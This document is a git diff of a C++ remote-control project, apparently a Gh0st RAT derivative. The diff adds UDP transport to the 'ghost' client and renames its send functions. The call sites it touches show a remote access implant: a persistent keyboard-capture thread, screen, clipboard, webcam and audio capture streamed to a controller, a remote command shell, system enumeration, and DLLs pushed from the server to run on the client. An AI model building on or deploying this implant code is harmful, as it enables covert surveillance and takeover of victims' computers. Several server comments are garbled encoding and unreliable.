diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp
index 4079f32..107aa94 100644
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -25,7 +25,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
}
BYTE bToken = TOKEN_AUDIO_START;
- m_ClientObject->OnServerSending((char*)&bToken, 1);
+ m_ClientObject->Send2Server((char*)&bToken, 1);
WaitForDialogOpen(); //等待对话框打开
szPacket = NULL;
@@ -84,7 +84,7 @@ BOOL CAudioManager::SendRecordBuffer()
//发送出去
if (dwBufferSize > 0)
{
- dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
+ dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
}
return dwReturn;
}
diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index 5d2d557..e33e47b 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -11,7 +11,10 @@
#define CLIENT_PARALLEL_NUM 1
// 远程地址
-CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION};
+CONNECT_ADDRESS g_SETTINGS = {
+ FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
+ FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM,
+};
// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员.
// 因此全局来看只有一个全局变量: g_MyApp
@@ -480,7 +483,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
settings.SetServer(list[0].c_str(), settings.ServerPort());
}
State& bExit(app.g_bExit);
- IOCPClient *ClientObject = new IOCPClient(bExit);
+ IOCPClient *ClientObject = NewNetClient(&settings, bExit);
CKernelManager* Manager = nullptr;
if (!app.m_bShared) {
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 31ee63d..aca5b0c 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -170,6 +170,7 @@
+
@@ -200,6 +201,7 @@
+
diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp
index ab02689..bff0084 100644
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -98,6 +98,7 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
{
+ m_ServerAddr = {};
m_nHostPort = 0;
m_Manager = NULL;
#ifdef _WIN32
@@ -126,12 +127,7 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
IOCPClient::~IOCPClient()
{
m_bIsRunning = FALSE;
-
- if (m_sClientSocket!=INVALID_SOCKET)
- {
- closesocket(m_sClientSocket);
- m_sClientSocket = INVALID_SOCKET;
- }
+ Disconnect();
if (m_hWorkThread!=NULL)
{
@@ -210,13 +206,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
}
#ifdef _WIN32
- //构造sockaddr_in结构 也就是主控端的结构
- sockaddr_in ServerAddr;
- ServerAddr.sin_family = AF_INET; //网络层 IP
- ServerAddr.sin_port = htons(port);
- ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
+ m_ServerAddr.sin_family = AF_INET;
+ m_ServerAddr.sin_port = htons(port);
+ m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
- if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
+ if (connect(m_sClientSocket,(SOCKADDR *)&m_ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
{
if (m_sClientSocket!=INVALID_SOCKET)
{
@@ -226,12 +220,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
return FALSE;
}
#else
- sockaddr_in ServerAddr = {};
- ServerAddr.sin_family = AF_INET; // 网络层 IP
- ServerAddr.sin_port = htons(port);
+ m_ServerAddr.sin_family = AF_INET;
+ m_ServerAddr.sin_port = htons(port);
// 若szServerIP非数字开头,则认为是域名,需进行IP转换
// 使用 inet_pton 替代 inet_addr (inet_pton 可以支持 IPv4 和 IPv6)
- if (inet_pton(AF_INET, m_sCurIP.c_str(), &ServerAddr.sin_addr) <= 0) {
+ if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
Mprintf("Invalid address or address not supported\n");
return false;
}
@@ -244,7 +237,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
}
// 连接到服务器
- if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
+ if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) {
Mprintf("Connection failed\n");
close(m_sClientSocket);
m_sClientSocket = -1; // 标记套接字无效
@@ -320,7 +313,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}
else if (iRet > 0)
{
- int iReceivedLength = recv(This->m_sClientSocket, szBuffer, MAX_RECV_BUFFER-1, 0);
+ int iReceivedLength = This->ReceiveData(szBuffer, MAX_RECV_BUFFER-1, 0);
if (iReceivedLength <= 0)
{
int a = WSAGetLastError();
@@ -496,7 +489,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
int j = 0;
for (; j < ulSendRetry; ++j)
{
- iReturn = send(m_sClientSocket, Travel, ulSplitLength, 0);
+ iReturn = SendTo(Travel, ulSplitLength, 0);
if (iReturn > 0)
{
break;
@@ -516,7 +509,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
int j = 0;
for (; j < ulSendRetry; j++)
{
- iReturn = send(m_sClientSocket, (char*)Travel,i,0);
+ iReturn = SendTo((char*)Travel,i,0);
if (iReturn > 0)
{
diff --git a/client/IOCPClient.h b/client/IOCPClient.h
index 6c4ba4e..39c0ac6 100644
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -2,12 +2,7 @@
//
//////////////////////////////////////////////////////////////////////
-#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
-#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
-
-#if _MSC_VER > 1000
#pragma once
-#endif // _MSC_VER > 1000
#ifdef _WIN32
#include "stdafx.h"
@@ -64,28 +59,18 @@ class IOCPClient
public:
IOCPClient(State& bExit, bool exit_while_disconnect = false);
virtual ~IOCPClient();
- SOCKET m_sClientSocket;
- CBuffer m_CompressedBuffer;
- BOOL m_bWorkThread;
- HANDLE m_hWorkThread;
-#if USING_CTX
- ZSTD_CCtx* m_Cctx; // 压缩上下文
- ZSTD_DCtx* m_Dctx; // 解压上下文
-#endif
+
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
LOGIN_INFOR tmp = logInfo;
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
return iRet;
}
- BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
- static DWORD WINAPI WorkThreadProc(LPVOID lParam);
+ virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
+
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
return OnServerSending(szBuffer, ulOriginalLength);
}
- VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
- BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
- BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
@@ -101,14 +86,8 @@ public:
m_bIsRunning = FALSE;
}
- BOOL m_bIsRunning;
- BOOL m_bConnected;
-
- char m_szPacketFlag[FLAG_LENGTH + 3];
-
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
- VOID Disconnect();
VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const { return m_bConnected == TRUE; }
BOOL Reconnect(void* manager) {
@@ -116,14 +95,43 @@ public:
if (manager) m_Manager = manager;
return ConnectServer(NULL, 0);
}
-public:
- State& g_bExit; // 全局状态量
- void* m_Manager; // 用户数据
- DataProcessCB m_DataProcess; // 处理用户数据
- DomainPool m_Domain;
- std::string m_sCurIP;
- int m_nHostPort;
- bool m_exit_while_disconnect;
-};
+ State& GetState() {
+ return g_bExit;
+ }
+protected:
+ virtual int ReceiveData(char* buffer, int bufSize, int flags) {
+ // TCP版本调用 recv
+ return recv(m_sClientSocket, buffer, bufSize - 1, 0);
+ }
+ virtual VOID Disconnect(); // 函数支持 TCP/UDP
+ virtual int SendTo(const char* buf, int len, int flags) {
+ return ::send(m_sClientSocket, buf, len, flags);
+ }
+ BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
+ static DWORD WINAPI WorkThreadProc(LPVOID lParam);
+ VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
+ BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
-#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
+protected:
+ sockaddr_in m_ServerAddr;
+ char m_szPacketFlag[FLAG_LENGTH + 3];
+ SOCKET m_sClientSocket;
+ CBuffer m_CompressedBuffer;
+ BOOL m_bWorkThread;
+ HANDLE m_hWorkThread;
+ BOOL m_bIsRunning;
+ BOOL m_bConnected;
+
+#if USING_CTX
+ ZSTD_CCtx* m_Cctx; // 压缩上下文
+ ZSTD_DCtx* m_Dctx; // 解压上下文
+#endif
+
+ State& g_bExit; // 全局状态量
+ void* m_Manager; // 用户数据
+ DataProcessCB m_DataProcess; // 处理用户数据
+ DomainPool m_Domain;
+ std::string m_sCurIP;
+ int m_nHostPort;
+ bool m_exit_while_disconnect;
+};
diff --git a/client/IOCPUDPClient.cpp b/client/IOCPUDPClient.cpp
new file mode 100644
index 0000000..5814d96
--- /dev/null
+++ b/client/IOCPUDPClient.cpp
@@ -0,0 +1,60 @@
+#include "IOCPUDPClient.h"
+
+
+BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) {
+ if (szServerIP != NULL && uPort != 0) {
+ SetServerAddress(szServerIP, uPort);
+ }
+ m_sCurIP = m_Domain.SelectIP();
+ unsigned short port = m_nHostPort;
+
+ // 创建 UDP socket
+ m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
+ if (m_sClientSocket == INVALID_SOCKET) {
+ Mprintf("Failed to create UDP socket\n");
+ return FALSE;
+ }
+
+ // 初始化服务器地址结构
+ memset(&m_ServerAddr, 0, sizeof(m_ServerAddr));
+ m_ServerAddr.sin_family = AF_INET;
+ m_ServerAddr.sin_port = htons(port);
+
+#ifdef _WIN32
+ m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
+#else
+ if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
+ Mprintf("Invalid address or address not supported\n");
+ closesocket(m_sClientSocket);
+ m_sClientSocket = INVALID_SOCKET;
+ return FALSE;
+ }
+#endif
+
+ // UDP不调用 connect(),也不设置 TCP keep-alive 相关选项
+
+ // 创建工作线程(如果需要)
+ if (m_hWorkThread == NULL) {
+#ifdef _WIN32
+ m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
+ m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
+#else
+ pthread_t id = 0;
+ m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
+#endif
+ }
+
+ Mprintf("UDP client socket created and ready to send.\n");
+ m_bConnected = TRUE;
+ return TRUE;
+}
+
+int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags) {
+ sockaddr_in fromAddr;
+ int fromLen = sizeof(fromAddr);
+ return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen);
+}
+
+int IOCPUDPClient::SendTo(const char* buf, int len, int flags) {
+ return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr));
+}
diff --git a/client/IOCPUDPClient.h b/client/IOCPUDPClient.h
new file mode 100644
index 0000000..eb4c3cd
--- /dev/null
+++ b/client/IOCPUDPClient.h
@@ -0,0 +1,16 @@
+#pragma once
+#include "IOCPClient.h"
+
+class IOCPUDPClient : public IOCPClient
+{
+public:
+ IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect){}
+
+ virtual ~IOCPUDPClient(){}
+
+ virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
+
+ virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
+
+ virtual int SendTo(const char* buf, int len, int flags) override;
+};
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 7759f70..0334fdd 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -13,11 +13,22 @@
#include "common/dllRunner.h"
#include "server/2015Remote/pwd_gen.h"
#include
+#include "IOCPUDPClient.h"
+
+// UDP 协议仅能针对小包数据,且数据没有时序关联
+IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
+ if (conn->protoType == PROTO_TCP)
+ return new IOCPClient(bExit, exit_while_disconnect);
+ if (conn->protoType == PROTO_UDP)
+ return new IOCPUDPClient(bExit, exit_while_disconnect);
+
+ return NULL;
+}
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
static ThreadInfo tKeyboard;
tKeyboard.run = FOREVER_RUN;
- tKeyboard.p = new IOCPClient(bExit, false);
+ tKeyboard.p = NewNetClient(conn, bExit, false);
tKeyboard.conn = conn;
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
return &tKeyboard;
@@ -350,7 +361,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_BYE:
{
BYTE bToken = COMMAND_BYE;// 被控端退出
- m_ClientObject->OnServerSending((char*)&bToken, 1);
+ m_ClientObject->Send2Server((char*)&bToken, 1);
g_bExit = S_CLIENT_EXIT;
Mprintf("======> Client exit \n");
break;
@@ -359,7 +370,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case SERVER_EXIT:
{
BYTE bToken = SERVER_EXIT;// 主控端退出
- m_ClientObject->OnServerSending((char*)&bToken, 1);
+ m_ClientObject->Send2Server((char*)&bToken, 1);
g_bExit = S_SERVER_EXIT;
Mprintf("======> Server exit \n");
break;
diff --git a/client/KernelManager.h b/client/KernelManager.h
index a46546d..f058b40 100644
--- a/client/KernelManager.h
+++ b/client/KernelManager.h
@@ -20,6 +20,9 @@
#include
#include "LoginServer.h"
+// 根据配置决定采用什么通讯协议
+IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false);
+
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit);
class ActivityWindow {
diff --git a/client/Manager.cpp b/client/Manager.cpp
index 33358a3..59bbdb7 100644
--- a/client/Manager.cpp
+++ b/client/Manager.cpp
@@ -156,7 +156,7 @@ HDESK SelectDesktop(TCHAR* name)
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
-CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
+CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
{
m_bReady = TRUE;
m_ClientObject = ClientObject;
@@ -180,7 +180,7 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
int nRet = 0;
try
{
- nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
+ nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
}catch(...){
Mprintf("[ERROR] CManager::Send catch an error \n");
};
diff --git a/client/RegisterManager.cpp b/client/RegisterManager.cpp
index 62be6f9..9e6a6e0 100644
--- a/client/RegisterManager.cpp
+++ b/client/RegisterManager.cpp
@@ -13,7 +13,7 @@
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
BYTE bToken=TOKEN_REGEDIT;
- m_ClientObject->OnServerSending((char*)&bToken, 1);
+ m_ClientObject->Send2Server((char*)&bToken, 1);
}
CRegisterManager::~CRegisterManager()
@@ -47,7 +47,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
char *szBuffer= Opt.FindPath();
if(szBuffer!=NULL)
{
- m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
+ m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
//目录下的目录
LocalFree(szBuffer);
}
@@ -55,7 +55,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
if(szBuffer!=NULL)
{
//目录下的文件
- m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
+ m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
}
diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp
index 25dd41c..18b9dc0 100644
--- a/client/ScreenManager.cpp
+++ b/client/ScreenManager.cpp
@@ -263,7 +263,7 @@ VOID CScreenManager::SendBitMapInfo()
szBuffer[0] = TOKEN_BITMAPINFO;
//这里将bmp位图结构发送出去
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
- m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
+ m_ClientObject->Send2Server((char*)szBuffer, ulLength);
VirtualFree(szBuffer, 0, MEM_RELEASE);
}
@@ -360,7 +360,7 @@ VOID CScreenManager::SendClientClipboard()
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
::GlobalUnlock(hGlobal);
::CloseClipboard();
- m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
+ m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
@@ -374,7 +374,7 @@ VOID CScreenManager::SendFirstScreen()
return;
}
- m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
+ m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
}
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
@@ -391,7 +391,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
{
- m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
+ m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
}
std::string GetTitle(HWND hWnd) {
diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp
index 084d621..b1becd3 100644
--- a/client/ServicesManager.cpp
+++ b/client/ServicesManager.cpp
@@ -26,7 +26,7 @@ VOID CServicesManager::SendServicesList()
if (szBuffer == NULL)
return;
- m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
+ m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp
index 1366467..cc4a451 100644
--- a/client/ShellManager.cpp
+++ b/client/ShellManager.cpp
@@ -97,7 +97,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
m_hShellThreadHandle = pi.hThread;
BYTE bToken = TOKEN_SHELL_START; //包含头文件 Common.h
- m_ClientObject->OnServerSending((char*)&bToken, 1);
+ m_ClientObject->Send2Server((char*)&bToken, 1);
WaitForDialogOpen();
@@ -131,7 +131,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
int length = int(dwReturn) - This->m_nCmdLength;
if (length > 0)
- This->m_ClientObject->OnServerSending(pStart, length);
+ This->m_ClientObject->Send2Server(pStart, length);
LocalFree(szTotalBuffer);
}
diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp
index 4d4764d..6254cdd 100644
--- a/client/SystemManager.cpp
+++ b/client/SystemManager.cpp
@@ -39,7 +39,7 @@ VOID CSystemManager::SendProcessList()
LPBYTE szBuffer = GetProcessList(); //得到进程列表的数据
if (szBuffer == NULL)
return;
- m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
+ m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
szBuffer = NULL;
@@ -51,7 +51,7 @@ void CSystemManager::SendWindowsList()
if (szBuffer == NULL)
return;
- m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); //向主控端发送得到的缓冲区一会就返回了
+ m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); //向主控端发送得到的缓冲区一会就返回了
LocalFree(szBuffer);
}
diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp
index bc618d1..52f18e5 100644
--- a/client/TalkManager.cpp
+++ b/client/TalkManager.cpp
@@ -27,7 +27,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager
g_Event = 0;
memset(g_Buffer, 0, sizeof(g_Buffer));
BYTE bToken = TOKEN_TALK_START;
- m_ClientObject->OnServerSending((char*)&bToken, 1);
+ m_ClientObject->Send2Server((char*)&bToken, 1);
WaitForDialogOpen();
Mprintf("Talk 构造\n");
}
@@ -86,7 +86,7 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
{
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
BYTE bToken = TOKEN_TALKCMPLT;
- if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
+ if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1);
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
@@ -140,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //时
{
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
BYTE bToken = TOKEN_TALKCMPLT; // 包含头文件 Common.h
- m_ClientObject->OnServerSending((char*)&bToken, 1); // 发送允许重新发送的指令
+ m_ClientObject->Send2Server((char*)&bToken, 1); // 发送允许重新发送的指令
EndDialog(hDlg,0);
}
break;
diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp
index 97c46cd..2e62646 100644
--- a/client/VideoManager.cpp
+++ b/client/VideoManager.cpp
@@ -103,7 +103,7 @@ void CVideoManager::SendBitMapInfor()
BYTE szBuffer[dwBytesLength + 3] = { 0 };
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
- m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
+ m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength);
}
BOOL CVideoManager::SendNextScreen()
@@ -149,7 +149,7 @@ BOOL CVideoManager::SendNextScreen()
}
m_CapVideo.SendEnd(); //copy send
- m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
+ m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
return TRUE;
}
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index d72a827..4fe4dc6 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -180,6 +180,7 @@
+
@@ -210,6 +211,7 @@
+
diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp
index 8242d99..ef941c6 100644
--- a/server/2015Remote/2015Remote.cpp
+++ b/server/2015Remote/2015Remote.cpp
@@ -14,6 +14,7 @@
#include
#include
#include
+#include "IOCPUDPServer.h"
#pragma comment(lib, "Dbghelp.lib")
CMy2015RemoteApp* GetThisApp() {
diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h
index b8406e0..b7e4019 100644
--- a/server/2015Remote/2015Remote.h
+++ b/server/2015Remote/2015Remote.h
@@ -22,7 +22,7 @@ public:
CMy2015RemoteApp();
config *m_iniFile;
HANDLE m_Mutex;
- IOCPServer* m_iocpServer;
+ Server* m_iocpServer;
CImageList m_pImageList_Large; //系统大图标
CImageList m_pImageList_Small; //系统小图标
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index fc98f30..ae5cdb8 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -278,7 +278,7 @@ std::vector ReadAllDllFilesWindows(const std::string& dirPath) {
return result;
}
-CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
+CMy2015RemoteDlg::CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
{
m_iocpServer = iocpServer;
m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
@@ -1038,7 +1038,7 @@ void CMy2015RemoteDlg::Release(){
for(int Pos = 0; Pos < n; ++Pos)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
- m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(ContextObject, &bToken, sizeof(BYTE));
}
LeaveCriticalSection(&m_cs);
Sleep(500);
@@ -1449,7 +1449,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
continue;
}
// 鍙戦佽幏寰楅┍鍔ㄥ櫒鍒楄〃鏁版嵁鍖
- m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength);
+ m_iocpServer->Send2Client(ContextObject,szBuffer, ulLength);
}
LeaveCriticalSection(&m_cs);
}
@@ -1720,7 +1720,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
if (isClosed) {
return;
}
- switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
+ unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
+ unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
+
+ switch (cmd)
{
case TOKEN_GETVERSION: // 鑾峰彇鐗堟湰
{
@@ -1732,7 +1735,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
resp[0] = 0;
memcpy(resp+1, &dll, sizeof(DllSendData));
memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize);
- m_iocpServer->OnClientPreSending(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize);
+ m_iocpServer->Send2Client(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize);
SAFE_DELETE_ARRAY(resp);
break;
}
@@ -1754,7 +1757,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
std::string hmac = genHMAC(hash, m_superPass);
memcpy(resp + 64, hmac.c_str(), hmac.length());
resp[80] = 0;
- m_iocpServer->OnClientPreSending(ContextObject, (LPBYTE)resp, sizeof(resp));
+ m_iocpServer->Send2Client(ContextObject, (LPBYTE)resp, sizeof(resp));
break;
}
case CMD_EXECUTE_DLL: // 璇锋眰DLL
@@ -1763,7 +1766,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
for (std::vector::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
DllInfo* dll = *i;
if (dll->Name == info->Name) {
- return m_iocpServer->OnClientPreSending(ContextObject, dll->Data->Buf(), dll->Data->length());
+ return m_iocpServer->Send2Client(ContextObject, dll->Data->Buf(), dll->Data->length());
}
}
break;
@@ -1876,6 +1879,9 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
break;
}
+ default: {
+ Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
+ }
}
}
@@ -1989,7 +1995,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
HeartbeatACK ack = { hb.Time };
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
- m_iocpServer->Send(ctx, buf, sizeof(buf));
+ m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
}
CLock L(m_cs);
@@ -2013,7 +2019,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
memcpy(buf+1, &m_settings, sizeof(MasterSettings));
if (ctx) {
- m_iocpServer->Send(ctx, buf, sizeof(buf));
+ m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
}
else {
EnterCriticalSection(&m_cs);
@@ -2022,7 +2028,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
if (!ContextObject->bLogin)
continue;
- m_iocpServer->Send(ContextObject, buf, sizeof(buf));
+ m_iocpServer->Send2Client(ContextObject, buf, sizeof(buf));
}
